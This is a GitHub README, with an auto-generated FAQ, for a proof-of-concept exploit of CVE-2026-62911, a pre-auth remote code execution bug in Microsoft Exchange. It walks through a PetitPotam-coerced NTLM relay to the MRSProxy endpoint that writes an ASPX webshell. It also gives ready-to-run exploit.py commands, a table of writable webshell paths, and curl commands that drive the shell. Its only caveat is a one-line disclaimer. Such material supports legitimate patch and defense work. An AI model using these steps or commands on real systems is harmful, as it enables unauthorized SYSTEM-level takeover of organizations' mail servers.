CVE-2026-62911 README

The project's README from github.com/hypnguyen1209/CVE-2026-62911. As one markdown file: README.md.

CVE-2026-62911

Pre-auth RCE on Microsoft Exchange Server. No credentials needed.

Orange Tsai (DEVCORE) used this at Pwn2Own Berlin 2026 as part of a 3-bug chain. $200,000 prize, full SYSTEM takeover.

What it does

Exchange exposes MailboxReplicationProxyService (MRSProxy) on two paths. One of them sits on HTTP.sys without Extended Protection:

Path Hosted by Extended Protection
/EWS/MRSProxy.svc IIS Yes. Safe.
/Microsoft.Exchange.MailboxReplicationService.ProxyService HTTP.sys No. Relay target.

The HTTP.sys endpoint accepts Negotiate auth but never checks channel bindings. You relay a machine account hash to it, and Exchange treats you as that machine. Machine accounts hold ms-Exch-EPI-Token-Serialization by default, so the WCF service grants full access.

Once inside, IMailbox_Config6() takes a filePath parameter. PstDestinationMailbox.ConfigPst() writes whatever path you give it. No extension check. Point it at an IIS directory, call IMailbox_Connect(), and a file lands on disk. Make that file an ASPX webshell. Done.

The config that makes this possible

<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
  <httpsTransport authenticationScheme="Negotiate"
      maxReceivedMessageSize="100000000" />
  <!-- no extendedProtectionPolicy — that's the bug -->
</binding>

WCF interface (relevant methods)

[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
    void ExchangeVersionInformation(
        VersionInformation clientVersion,
        out VersionInformation serverVersion);

    long IMailbox_Config6(
        Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
        string filePath,        // attacker-controlled, no validation
        byte[] partitionHint, Guid mdbGuid, string mdbName,
        MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);

    void IMailbox_Connect(long mailboxHandle);
        // calls PSTSession.Open() — writes file at filePath
}

Affected versions

Product Vulnerable below Fixed KB
Exchange 2016 CU23 15.1.2507.72 15.1.2507.72 KB5121576
Exchange 2019 CU14 15.2.1544.43 15.2.1544.43 KB5121575
Exchange 2019 CU15 15.2.1748.48 15.2.1748.48 KB5121574
Exchange SE RTM 15.2.2562.45 15.2.2562.45 KB5121573

Exchange 2016 went end-of-life October 2025. The August 2026 fix ships only through Extended Security Updates (ESU). If the org didn't buy ESU, there's no patch.

How the attack works

Attacker                    EX02 (trigger)         EX01 (target)
   │                            │                       │
   │── PetitPotam (MS-EFSR) ──▶│                       │
   │                            │                       │
   │◀── NTLM auth (EX02$) ─────│                       │
   │                            │                       │
   │── relay NTLM ────────────────────────────────────▶│
   │   (to MRSProxy HTTP.sys)                           │
   │                                                    │
   │── IMailbox_Config6(path=shell.aspx) ─────────────▶│
   │── IMailbox_Connect() ────────────────────────────▶│
   │                                                    │ file written
   │                                                    │
   │── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
   │◀── nt authority\system ────────────────────────────│

Five steps:

  1. Trigger MS-EFSR (EfsRpcOpenFileRaw) on EX02. It authenticates back to you with its machine account. PetitPotam works unauthenticated against unpatched Exchange.

  2. Your SMB listener grabs the NTLM negotiate from EX02$.

  3. Forward it over HTTPS to EX01's MRSProxy. The endpoint doesn't check EPA, so the relay completes. Machine accounts already have the Exchange serialization right, so authorization passes.

  4. Send WCF calls: IMailbox_Config6 with a path like C:\inetpub\wwwroot\aspnet_client\shell.aspx, then IMailbox_Connect. Exchange writes the file.

  5. Hit the webshell. You're SYSTEM.

Running it

Install dependencies:

pip install impacket pysocks

Check if MRSProxy is exposed:

python3 exploit.py --check-only \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

You want to see Microsoft-HTTPAPI/2.0 with Negotiate in the 401 response. That confirms the HTTP.sys endpoint is live and EPA is absent.

Run the exploit:

python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

If PetitPotam needs auth on your target:

python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  -u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM

Through a SOCKS tunnel:

python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --socks 127.0.0.1 --socks-port 10800

Pick a different write location:

python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
  --webshell-url '/owa/auth/x.aspx'

Verify the shell landed:

python3 exploit.py --verify-only \
  -t 192.168.1.10 \
  --webshell-url '/aspnet_client/system_web/shell.aspx'

Use it:

curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"

Write paths that work

Disk path URL Why
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx /aspnet_client/system_web/shell.aspx Default IIS client scripts dir. Usually writable, serves ASPX.
C:\inetpub\wwwroot\aspnet_client\shell.aspx /aspnet_client/shell.aspx Same, shorter.
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx /owa/auth/shell.aspx OWA auth folder.
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx /ecp/auth/shell.aspx ECP auth folder.

References

For authorized testing only. Get written permission before running this against anything.

CVE-2026-62911 (hypnguyen1209/CVE-2026-62911)

security-audit
Searching Database…

What is this?A proof-of-concept exploit for CVE-2026-62911, a pre-auth RCE in Microsoft Exchange Server that relays an NTLM machine account hash to the MRSProxy service to drop and run an ASPX webshell, giving full SYSTEM access without any credentials.
How do I run the exploit?Install the dependencies, trigger MS-EFSR (PetitPotam) on one Exchange server to coerce it to authenticate to your SMB listener, then relay that NTLM auth over HTTPS to another server's MRSProxy endpoint; the script then calls IMailboxConfig6 and IMailboxConnect to write an ASPX shell to disk.
Do I need anything special set up before running it?You need the project's Python dependencies, an SMB listener to capture the relayed NTLM negotiate, and in some environments a SOCKS tunnel or extra PetitPotam authentication if the target requires it.
Does this work against any Exchange server?Only unpatched installs below the fixed builds for Exchange 2016 CU23, 2019 CU14/15, and Exchange SE RTM. Exchange 2016 is already end-of-life, so its fix is only available through paid Extended Security Updates, meaning unpatched orgs without ESU have no patch path.
Why does the relay actually succeed on Exchange?The MRSProxy endpoint hosted on HTTP.sys accepts Negotiate auth but never checks Extended Protection channel bindings, so a relayed machine account hash is accepted; machine accounts already hold the ms-Exch-EPI-Token-Serialization right, so the WCF calls are authorized.
How was this used at Pwn2Own?Orange Tsai of DEVCORE used this bug as part of a 3-bug chain at Pwn2Own Berlin 2026, earning a $200,000 prize for a full SYSTEM takeover of Exchange.
How do I check if a target is vulnerable before exploiting it?Send a request to the HTTP.sys MRSProxy path; if the 401 response shows Microsoft-HTTPAPI/2.0 with Negotiate, Extended Protection is absent and the endpoint is exploitable.
Is it legal to just run this against any Exchange server?No, the project explicitly states it is for authorized testing only and requires written permission before running it against any target.
Size
<0.1 MB
Stars
187
Updated
CommitAug 22
Age
1mo
Commits · 90 Days